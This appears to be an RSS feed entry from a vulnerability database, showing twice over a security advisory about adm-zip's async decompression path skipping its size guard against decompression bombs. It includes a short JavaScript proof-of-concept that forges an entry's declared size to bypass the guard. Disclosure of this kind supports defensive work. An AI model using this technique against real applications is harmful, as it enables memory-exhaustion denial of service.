https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 22 Oct 2026 04:56:08 +0000 https://db.gcve.eu/vuln/ghsa-c6fg-446q-cg94 <p><strong>Affected:</strong> npm: adm-zip</p> <p>### Summary adm-zip enforces a `maxOutputLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry&#39;s declared size. An application that checks an entry&#39;s declared size before deciding to process it, then reads the entry via `getDataAsync()` (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.</p> <p>### Details</p> <p>- `methods/inflater.js:3-10` passes `{maxOutputLength: expectedLength}` to `inflateRawSync`, which Node enforces. - `methods/inflater.js:12-31` passes the same option to `createInflateRaw` but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.</p> <p>### PoC</p> <p>```js const AdmZip = require(&#39;adm-zip&#39;); const zip = new AdmZip(); zip.addFile(&#39;p&#39;, Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB const raw = Buffer.from(zip.toBuffer()); // patch the local + central declared uncompressed size to 1 byte raw.writeUInt32LE(1, localHeaderSizeOffset); raw.writeUInt32LE(1, centralHeaderSizeOffset); const entry = new AdmZip(raw).getEntry(&#39;p&#39;);</p> <p>entry.getData(); // throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes</p> <p>entry.getDataAsync((data, error) =&gt; { ... }); // returns the full 67,108,864-byte buffer, error is undefined ```</p> <p>### Impact An application…</p> <p><strong>Affected:</strong> npm: adm-zip</p> <p>### Summary adm-zip enforces a `maxOutputLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry&#39;s declared size. An application that checks an entry&#39;s declared size before deciding to process it, then reads the entry via `getDataAsync()` (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.</p> <p>### Details</p> <p>- `methods/inflater.js:3-10` passes `{maxOutputLength: expectedLength}` to `inflateRawSync`, which Node enforces. - `methods/inflater.js:12-31` passes the same option to `createInflateRaw` but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.</p> <p>### PoC</p> <p>```js const AdmZip = require(&#39;adm-zip&#39;); const zip = new AdmZip(); zip.addFile(&#39;p&#39;, Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB const raw = Buffer.from(zip.toBuffer()); // patch the local + central declared uncompressed size to 1 byte raw.writeUInt32LE(1, localHeaderSizeOffset); raw.writeUInt32LE(1, centralHeaderSizeOffset); const entry = new AdmZip(raw).getEntry(&#39;p&#39;);</p> <p>entry.getData(); // throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes</p> <p>entry.getDataAsync((data, error) =&gt; { ... }); // returns the full 67,108,864-byte buffer, error is undefined ```</p> <p>### Impact An application…</p> https://db.gcve.eu/vuln/ghsa-c6fg-446q-cg94